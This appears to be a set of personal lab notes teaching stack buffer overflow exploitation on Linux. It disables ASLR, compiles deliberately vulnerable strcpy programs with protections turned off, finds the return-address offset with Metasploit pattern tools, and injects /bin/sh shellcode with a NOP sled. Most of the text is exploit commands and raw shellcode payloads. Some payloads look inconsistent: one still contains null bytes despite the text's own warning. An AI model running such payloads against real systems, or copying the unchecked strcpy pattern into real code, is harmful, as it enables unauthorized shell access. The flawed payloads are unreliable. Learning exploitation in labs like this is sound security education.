Buffer Overflow Exploit – 1
Install:
apt install gdb gem
gem install rex-text
Determina if ASLR is enabled. If it is /proc/sys/kernel/randomize_va_space > 0
cat /proc/sys/kernel/randomize_va_space
We can disable it by setting this value to 0
echo 0 > /proc/sys/kernel/randomize_va_space
Create program:
vim bofl.cpp
#include <cstring>
int main(int argc, char **argv)
{
char buf[500];
strcpy(buf, argv[1]);
return 0;
}
Compile witch stack smashing protection disabled
g++ bofl.cpp -fno-stack-protector -mpreferred-stack-boundary=4 -o bofl
Now lets see if we can cause the program to crash
./bofl test
We can send large amounts of data through the command line using python
./bofl `python -c 'print "A" * 400'`
This point we are essentially fuzz testing our program. However, sice our buffer has a 500 byte capacity, the program is behaving as expected
./bofl `python -c 'print "A" * 500'`
./bofl `python -c 'print "A" * 600'`
Lets take a look under the hood and see whats happening
gdb -q bofl
run `python -c 'print "A" * 600'`
When a segfault occurs, gdb wil display the intruction pointer eip 0x0000555555555173
We can see that eip is pointing to a bogus memory address 0x0000555555555173
info registers
0x41 is the ascii value for the latter A.
Since we can overwrite EIP with arbitrary data, we are able to after the flow of execution. Theoreticaly we can divert execution to any address we went, as long as it exists in memory. This is archived by overwriting the current functions return address with an address of our choice. Lets digress and first determine how many bites it takes to successfuly overwrite the return address.
The metasploit framework is jam packed with useful tools.
cd /opt/metasploit-framework/embedded/framework/tools/exploit/
pattern_create generates a string that we can use as input
./pattern_create.rb -l 600
RUN:
run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
We siply send the value of EIP to pattern_offset
./pattern_offset.rb -q 72413971
So it takes 508 bytes to overwrite just up to the return address
echo "offset: 508"
All we need now is a return address. But where should we have the program divert execution to?
Howbount we make this bad boy execute our own subroutine that isnt hard coded into the program.
How is this even possible? We can input executable code. First lets find the address where our input resides at.
disassemble main
If we disassemble main we can see the call to strcpy. Lets set a breakpoint just after
break *0x004011c7
run:
run `python -c 'print "A" * 508 + "BBBB"'`
x/16wx $esp
After strcpy we can see that the stack contains our input of 0x41
If we look closer we can see that EAX holds our input address
info registers
Well use this as our return address
cont
Continuing we see that the offset is indeed 508 bytes ebp contains 0x41(A) and eip contains 0x42(B).
To execute our code we cant just input RAW C code. The code has to be in its lowest form. This is called shellcode which consists of hex opcodes.
Well execute the cmd /bin/sh which will give us a shell prompt (no wonder its called shellcode)
cd /opt/metasploit-framework/embedded/framework
./msfvenom -a x86 --platform Linux -p linux/x86/exec CMD=/bin/sh -f C
Notice the null bytes 0x00. This will cause our input string to terminate early. Were going to have to encode this shellcode. Typical, we want to avoid using any whitespace character (see asciitable.com) that may terminate our string
run `python -c 'print "\41" * 508 + "\x31\xc9\x31\xdb\xf7\xe3\xb0\xa4\xcd\x80\x6a\x0b\x58\x99\x52" + "\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69" + "\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73" + "\x68\x00\x57\x53\x89\xe1\xcd\x80" + "\x90" * 100 + "\x41\x41\x41\x41"'`
UBUNTU – 14..4.03 X64
Install package:
apt install libc6-dev-i386 dpkg-dev gdb
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Compille program:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
gcc -o example -fno-stack-protector -m32 -z execstack example.c
-fno-stack-protector
Run program gdb
gdb ./example
disassemble main
break *0x08048475
run $(python -c „print(‚A’*256)“)
x/200xb $esp
In new GDB session
$(python -c "print('\x90'*222+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x30\xd4\xff\xff')")